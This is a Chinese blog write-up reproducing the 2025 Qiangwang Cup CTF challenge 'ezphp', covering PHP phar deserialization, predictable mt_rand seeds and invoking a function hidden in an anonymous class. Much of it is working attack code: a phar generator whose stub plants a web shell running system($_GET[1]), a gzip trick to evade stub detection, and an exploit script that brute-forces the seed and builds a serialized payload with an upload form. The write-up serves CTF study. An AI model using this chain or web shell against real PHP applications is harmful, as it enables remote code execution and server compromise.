2025强网杯ezphp复现
ezphp
终于,终于,终于肝出来了,其实肝了一天之后就基本全部出来了,一开始调用在匿名类中的全局函数的这一步卡了很久,于是先跳过这一步,对其他步骤先进行分析复现,到后来就差这最后一步被卡死了,百思不得其解,后来注意到星盟大佬的wp中提到
贴个源码
<?=eval(base64_decode('ZnVuY3Rpb24gZ2VuZXJhdGVSYW5kb21TdHJpbmcoJGxlbmd0aCA9IDgpeyRjaGFyYWN0ZXJzID0gJ2FiY2RlZmdoaWprbG1ub3BxcnN0dXZ3eHl6JzskcmFuZG9tU3RyaW5nID0gJyc7Zm9yICgkaSA9IDA7ICRpIDwgJGxlbmd0aDsgJGkrKykgeyRyID0gcmFuZCgwLCBzdHJsZW4oJGNoYXJhY3RlcnMpIC0gMSk7JHJhbmRvbVN0cmluZyAuPSAkY2hhcmFjdGVyc1skcl07fXJldHVybiAkcmFuZG9tU3RyaW5nO31kYXRlX2RlZmF1bHRfdGltZXpvbmVfc2V0KCdBc2lhL1NoYW5naGFpJyk7Y2xhc3MgdGVzdHtwdWJsaWMgJHJlYWRmbGFnO3B1YmxpYyAkZjtwdWJsaWMgJGtleTtwdWJsaWMgZnVuY3Rpb24gX19jb25zdHJ1Y3QoKXskdGhpcy0+cmVhZGZsYWcgPSBuZXcgY2xhc3Mge3B1YmxpYyBmdW5jdGlvbiBfX2NvbnN0cnVjdCgpe2lmIChpc3NldCgkX0ZJTEVTWydmaWxlJ10pICYmICRfRklMRVNbJ2ZpbGUnXVsnZXJyb3InXSA9PSAwKSB7JHRpbWUgPSBkYXRlKCdIaScpOyRmaWxlbmFtZSA9ICRHTE9CQUxTWydmaWxlbmFtZSddOyRzZWVkID0gJHRpbWUgLiBpbnR2YWwoJGZpbGVuYW1lKTttdF9zcmFuZCgkc2VlZCk7JHVwbG9hZERpciA9ICd1cGxvYWRzLyc7JGZpbGVzID0gZ2xvYigkdXBsb2FkRGlyIC4gJyonKTtmb3JlYWNoICgkZmlsZXMgYXMgJGZpbGUpIHtpZiAoaXNfZmlsZSgkZmlsZSkpIHVubGluaygkZmlsZSk7fSRyYW5kb21TdHIgPSBnZW5lcmF0ZVJhbmRvbVN0cmluZyg4KTskbmV3RmlsZW5hbWUgPSAkdGltZSAuICcuJyAuICRyYW5kb21TdHIgLiAnLicgLiAnanBnJzskR0xPQkFMU1snZmlsZSddID0gJG5ld0ZpbGVuYW1lOyR1cGxvYWRlZEZpbGUgPSAkX0ZJTEVTWydmaWxlJ11bJ3RtcF9uYW1lJ107JHVwbG9hZFBhdGggPSAkdXBsb2FkRGlyIC4gJG5ld0ZpbGVuYW1lOyBpZiAoc3lzdGVtKCJjcCAiLiR1cGxvYWRlZEZpbGUuIiAiLiAkdXBsb2FkUGF0aCkpIHtlY2hvICJzdWNjZXNzIHVwbG9hZCEiO30gZWxzZSB7ZWNobyAiZXJyb3IiO319fXB1YmxpYyBmdW5jdGlvbiBfX3dha2V1cCgpe3BocGluZm8oKTt9cHVibGljIGZ1bmN0aW9uIHJlYWRmbGFnKCl7ZnVuY3Rpb24gcmVhZGZsYWcoKXtpZiAoaXNzZXQoJEdMT0JBTFNbJ2ZpbGUnXSkpIHskZmlsZSA9ICRHTE9CQUxTWydmaWxlJ107JGZpbGUgPSBiYXNlbmFtZSgkZmlsZSk7aWYgKHByZWdfbWF0Y2goJy86XC9cLy8nLCAkZmlsZSkpZGllKCJlcnJvciIpOyRmaWxlX2NvbnRlbnQgPSBmaWxlX2dldF9jb250ZW50cygidXBsb2Fkcy8iIC4gJGZpbGUpO2lmIChwcmVnX21hdGNoKCcvPFw/fFw6XC9cL3xwaHxcP1w9L2knLCAkZmlsZV9jb250ZW50KSkge2RpZSgiSWxsZWdhbCBjb250ZW50IGRldGVjdGVkIGluIHRoZSBmaWxlLiIpO31pbmNsdWRlKCJ1cGxvYWRzLyIgLiAkZmlsZSk7fX19fTt9cHVibGljIGZ1bmN0aW9uIF9fZGVzdHJ1Y3QoKXskZnVuYyA9ICR0aGlzLT5mOyRHTE9CQUxTWydmaWxlbmFtZSddID0gJHRoaXMtPnJlYWRmbGFnO2lmICgkdGhpcy0+a2V5ID09ICdjbGFzcycpbmV3ICRmdW5jKCk7ZWxzZSBpZiAoJHRoaXMtPmtleSA9PSAnZnVuYycpIHskZnVuYygpO30gZWxzZSB7aGlnaGxpZ2h0X2ZpbGUoJ2luZGV4LnBocCcpO319fSRzZXIgPSBpc3NldCgkX0dFVFsnbGFuZCddKSA/ICRfR0VUWydsYW5kJ10gOiAnTzo0OiJ0ZXN0IjpOJztAdW5zZXJpYWxpemUoJHNlcik7'));
我也意识到可能是我的环境的问题所在,然后开始尝试自己搭建docker,在docker搭建.
唠叨到这里,下面是正式整理我的复现
对于ezphp这题,在比赛的时候只注意到调用匿名类中的全局函数这一考点,但是没想到,还有其他几个考点,我的复现就以考点开始进行
phar反序列化
借用大佬的解释
Phar是PHP的压缩文档,是PHP中类似于JAR的一种打包文件。它可以把多个文件存放至同一个文件中,无需解压,PHP就可以进行访问并执行内部语句。
默认开启版本 PHP version >= 5.3
1、Stub //Phar文件头
2、manifest //压缩文件信息
3、contents //压缩文件内容
4、signature //签名
Stub是Phar的文件标识,也可以理解为它就是Phar的文件头
这个Stub其实就是一个简单的PHP文件,它的格式具有一定的要求,具体如下
xxx<?php xxx; __HALT_COMPILER();?>
前面的内容是不限制的,但在该PHP语句中,必须有__HALT_COMPILER(),没有这个,PHP就无法识别出它是Phar文件。
manifest用于存放文件的属性、权限等信息。
这里也是反序列化的攻击点,因为这里以序列化的形式存储了用户自定义的Meta-data
1、phar文件能够上传至服务器
//即要求存在file_get_contents()、fopen()这种函数2、要有可利用的魔术方法
//这个的话用一位大师傅的话说就是利用魔术方法作为"跳板"3、文件操作函数的参数可控,且:、/、phar等特殊字符没有被过滤
//一般利用姿势是上传Phar文件后通过伪协议Phar来实现反序列化,伪协议Phar格式是Phar://这种,如果这几个特殊字符被过滤就无法实现反序列化4、php.ini中的phar.readonly选项,需要为Off(默认是on)。
生成phar文件
<?php
class test{
public $name="zxc";
function __destruct()
{
echo $this->name;
}
}
$a = new test();
$a->name="phpinfo();";
$phartest=new phar('phartest.phar',0);//后缀名必须为phar
$phartest->startBuffering();//开始缓冲 Phar 写操作
$phartest->setMetadata($a);//自定义的meta-data存入manifest
$phartest->setStub("GIF89a"."<?php __HALT_COMPILER();?>");//设置stub,stub是一个简单的php文件。PHP通过stub识别一个文件为PHAR文件,可以利用这点绕过文件上传检测
$phartest->addFromString("zxc.txt","z3xc");//添加要压缩的文件
$phartest->stopBuffering();//停止缓冲对 Phar 归档的写入请求,并将更改保存到磁盘
?>

就会有phartest.phar
而后有
<?php
class test{
public $name="";
public function __destruct()
{
eval($this->name);
}
}
$phardemo = file_get_contents('phar://phartest.phar/zxc.txt');
echo $phardemo;

这就反序列化成功
关于绕过,这里就提到通过压缩绕过关键字的检查
┌──(zxc㉿kali)-[/xp/www/777.777.777.777/phar]
└─$ gzip phartest.phar phartest.phar.gz

就没有__HALT_COMPILER();字样了
之后再进行像这样的包含file_get_contents('phar://phartest.phar.gz/phartest.phar/zxc.txt');
就能成功
可是ezphp中对文件名是使用随机字符进行的命名,也就是说没办法用phar伪协议去读取phar文件,也就没法反序列化,这就要提到一个新的知识点
大佬文章:include_phar
这里解释了关键所在,我就直接讲一下,就是哪怕不用phar伪协议,只要能够名称中,甚至是包含的路径中存在phar字样就能够去反序列化
接下来就是随机数的问题
通过控制随机数的种子从而控制随机数的序列
关键点就是题目中的rand()和mt_rand()
自php7.1.0起,rand()和mt_rand()使用相同的随机数生成器
<?php
$seed = 123456;
mt_srand($seed); // 设置种子
echo "mt_rand sequence: ";
for ($i=0; $i<5; $i++) {
echo mt_rand(0, 9) . ' ';
}
echo '<br />';
echo "rand sequence: ";
for ($i=0; $i<5; $i++) {
echo rand(0, 9) . ' ';
}
?>
无论去运行几次,都是固定这个数

也就能试出假设7 9 7 7 4 对应➡️ phar,而 5 4 0 3 8 就是对应着 ➡️7 9 7 7 4
就能实现文件名可控
调用在匿名类中的全局函数
我们先回忆一下代码是什么样的
一个生成随机字符的函数
然后是一个test类
test类
三个属性
f
key
readflag
有一个__construct()方法
__construct()方法中给readflag属性赋予了匿名类
有一个__destruct()方法
public function readflag() {
function readflag() {
if (isset($GLOBALS['file'])) {
$file = basename($GLOBALS['file']);
if (preg_match('/:\/\//', $file)) die("error");
$file_content = file_get_contents("uploads/" . $file);
if (preg_match('/<\?|\:\/\/|ph|\?\=/i', $file_content)) {
die("Illegal content detected in the file.");
}
include("uploads/" . $file);
}
}
}
我们先要去生成一个对象,让readflag存在,使得全局readflag()函数存在,才能调用全局readflag()函数
也就是说我们得先反序列化一个test,去new $func,使得全局readflag()函数存在,
然后在$func,调用全局readflag()函数,去包含我们构造还得phar包
那怎么去调用呢
借用星盟大佬的小demo
然后这个要复现的话,需要自己搞一个docker容器,每次开启都得去清除前面的容器,
sudo docker-compose up --build -d
⬆️每次开启前都清除前面的容器
sudo docker-compose down
⬆️关闭容器,可以去删除容器以及镜像
我搭建docker的文件配置
# 使用官方 PHP 7.4 带 Apache 镜像
FROM php:7.4.33-apache
# 安装常用扩展
RUN apt-get update && apt-get install -y \
git \
unzip \
libzip-dev \
&& docker-php-ext-install zip pdo pdo_mysql mysqli \
&& rm -rf /var/lib/apt/lists/*
# 设置 index.php 优先
RUN sed -i 's/DirectoryIndex index.html index.cgi index.pl index.php/DirectoryIndex index.php index.html index.cgi index.pl/' /etc/apache2/mods-enabled/dir.conf
# 创建 /var/run/apache2 目录,Apache 需要
RUN mkdir -p /var/run/apache2 && chown www-data:www-data /var/run/apache2
# 设置 ServerName 避免启动警告
RUN echo "ServerName localhost" > /etc/apache2/conf-available/servername.conf \
&& a2enconf servername
# 关闭 phar readonly
RUN echo "phar.readonly = Off" > /usr/local/etc/php/conf.d/phar.ini
# 开启 Apache rewrite 模块
RUN a2enmod rewrite
# 拷贝 PHP 文件到网站目录
COPY ./www/ /var/www/html/
# 设置网站目录权限
RUN chown -R www-data:www-data /var/www/html \
&& chmod -R 755 /var/www/html
# 设置工作目录
WORKDIR /var/www/html
version: '3.8'
services:
ezphp:
build: .
container_name: ezphp
ports:
- "8080:80" # 映射容器 80 端口到宿主机 8080
volumes:
- ./www:/var/www/html # 挂载本地 www 文件夹
restart: unless-stopped

<?=eval(base64_decode('Y2xhc3MgdGVzdAp7CiAgICBwdWJsaWMgZnVuY3Rpb24gX19jb25zdHJ1Y3QoKQogICAgewogICAgICAgIGVjaG8gJ2J1aWxkIGFueW1vdXMgY2xhc3MnLCBQSFBfRU9MOwogICAgfQoKICAgIHB1YmxpYyBmdW5jdGlvbiByZWFkZmxhZygpCiAgICB7CiAgICAgICAgZnVuY3Rpb24gcmVhZGZsYWcyKCkKICAgICAgICB7CiAgICAgICAgICAgIGVjaG8gJ2ZsYWd7eHh4fScsIFBIUF9FT0w7CiAgICAgICAgfQogICAgfQogICAgcHVibGljIGZ1bmN0aW9uIF9fZGVzdHJ1Y3QoKQogICAgewogICAgICAgICRmdW5jID0gJF9HRVRbJ2Z1bmMnXSA9PT0gbnVsbCA/ICdwaHBpbmZvJyA6ICRfR0VUWydmdW5jJ107CiAgICAgICAgJGZ1bmMoKTsKICAgIH0KfQpuZXcgdGVzdCgpOw=='));
// 等效为
class test
{
public function __construct()
{
echo 'build anymous class', PHP_EOL;
}
public function readflag()
{
function readflag2()
{
echo 'flag{xxx}', PHP_EOL;
}
}
public function __destruct()
{
$func = $_GET['func'] === null ? 'phpinfo' : $_GET['func'];
$func();
}
}
new test();

需要注意的点
借用大佬的解释
https://www.cnblogs.com/xNftrOne/articles/19164325
表达的意思是什么呢,
第一次

第二次

第三次

http://127.0.0.1:8080/?func=%00readflag2/var/www/html/index.php(1) : eval()'d code:10$4
%00函数名+路径(eval的行数) : eval()'d code:函数所在行$第几个匿名类
正式开始复现
生成phar包
<?php
$phar = new Phar('exploit.phar');
$phar->startBuffering();
$stub = <<<'STUB'
<?php
echo 'zxc', PHP_EOL;//直观的看到到底有没有成功
system('echo "<?php system(\$_GET[1]); ?>" > zxc.php');
__HALT_COMPILER();
?>
STUB;
$phar->setStub($stub);
$phar->addFromString('test.txt', 'test');
$phar->stopBuffering();
?>
进行压缩gzip exploit.phar
借用星盟大佬的exp
<?php
function generateRandomString($length = 8)
{
$characters = 'abcdefghijklmnopqrstuvwxyz';
$randomString = '';
for ($i = 0; $i < $length; $i++) {
$r = rand(0, strlen($characters) - 1);
$randomString .= $characters[$r];
}
return $randomString;
}
date_default_timezone_set('Asia/Shanghai');
class test
{
public $readflag;
public $f;
public $key;
}
$readflag=1;
while (true){
$time = date('Hi');
$seed = $time . intval($readflag);
mt_srand($seed);
$str = generateRandomString(8);
if(substr($str, 0, 4) === 'phar'){
echo $readflag, PHP_EOL.'<br />';
echo $str, PHP_EOL.'<br />';
echo $seed, PHP_EOL.'<br />';
break;
}else{
$readflag++;
}
}
$test = new test();
$test->readflag = $readflag;
$test->key = 'class';
$test->f = 'test';
$test2 = new test();
$test2->readflag = $readflag;
$test2->key = 'func';
$test2->f = urldecode("%00readflag/var/www/html/index.php(1) : eval()'d code:1$1");
$exp=serialize(array($test, $test2));
echo $exp, PHP_EOL.'<br />';
?>
<!DOCTYPE html>
<html>
<head>
<title>File Upload</title>
</head>
<body>
<h2>Upload File</h2>
<form action='https://127.0.0.1:8080/index.php?land=<?php echo urlencode($exp);?>' method="post" enctype="multipart/form-data">
<input type="file" name="file" required>
<input type="submit" value="Upload">
</form>
</body>
</html>



本文来自博客园,作者:z3xc,转载请注明原文链接:https://www.cnblogs.com/z3xc/p/19169691


浙公网安备 33010602011771号